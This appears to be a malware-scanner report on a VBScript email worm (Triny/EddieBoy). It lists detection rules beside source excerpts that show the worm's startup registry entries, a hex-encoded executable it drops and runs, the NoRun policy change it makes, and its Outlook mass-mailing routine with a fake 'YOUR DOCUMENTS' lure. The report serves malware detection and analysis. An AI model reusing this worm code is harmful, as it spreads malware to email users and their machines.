Benign Download

Email-Worm.VBS.Triny.s

Detects obfuscated wscript.shell commandsOutlook address book enumeration

SHA-256c9ca157b272b217521c3dbeb7a4b55e6dc029fa911d3c2d8353cd10835594e63

Evidence

English function-word token "the" lines 1–5

1' VBS.EddieBoy.B
2' Second Version of the Worm
3' Dedicated to my cuz, Eddieboy....
4' R.I.P. EddieBoy
5' September 11, 2000 - December 2 …

Accesses Windows CurrentVersion Run key lines 24–26

24:8… try startup
25eddie3rd.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSKernel32" , "C:\WINDOWS\System32\MSKernel32.vbs"
26eddie3rd.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Regist …

English function-word token "for" lines 1576–1578

1576:74… 0000000000004E6F"
1577RIPEddieboy = RIPEddieboy & "20737061636520666F7220636F7079206F6620636F6D6D616E64206C696E"
1578RIPEddieboy = RIPEddieboy & "6500000 …

Detects obfuscated wscript.shell commands lines 1876–1888

1876:89… 0"
1877RIPEddieboy = RIPEddieboy & "000000000000"
1878For i = 1 To Len(RIPEddieboy) Step 2
1879NewCode = NewCode & Chr("&h"& Mid(RIPEddieboy, i, 2))
1880next
1881Set YourFile = fso.createtextfile("C:\MSUpdate_54947648.exe", True)
1882YourFile.write NewCode
1883YourFile.close
1884CreateObject ("wscript.Shell").run "C:\MSUpdate_54947648.exe", 1, False
1885
1886' Edit registry so certain applications wont run 
1887CreateObject("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 1, "REG_DWORD"
1888CreateObject("Wscript. …

Outlook address entries iteration lines 1961–1988

⋯7 lines
1968sub mail()
1969
1970Set a = CreateObject("Outlook.Application")
1971Set b = a.GetNameSpace("MAPI")
1972If a = "Outlook" Then
1973b.Logon "profile", "password"
1974For y = 1 To b.AddressLists.Count
1975Set d = b.AddressLists(y)
1976x = 1
1977Set c = a.CreateItem(0)
1978For oo = 1 To d.AddressEntries.Count
1979e = d.AddressEntries(x)
1980c.Recipients.Add e
1981x = x + 1
1982If x > 5 Then oo = d.AddressEntries.Count
1983Next
1984c.Subject = "Re YOUR DOCUMENTS"
1985c.Body = "The DOCUMENTS you requested are in the attachments"
1986c.attachments.Add wscript.scriptfullname, 1, 1
1987c.attachments.Add "c:\DOCUMENTS.DOC.vbs", 1, 2, ""
1988c.attachments.Add "c:\WINDOWS\YOUR-DOCUMENTS. …